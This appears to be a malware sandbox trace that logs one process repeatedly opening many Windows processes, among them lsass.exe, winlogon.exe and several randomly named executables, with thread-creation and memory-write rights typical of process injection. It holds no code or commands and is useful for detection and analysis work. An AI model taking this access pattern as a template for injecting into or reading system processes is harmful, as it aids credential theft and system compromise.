Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
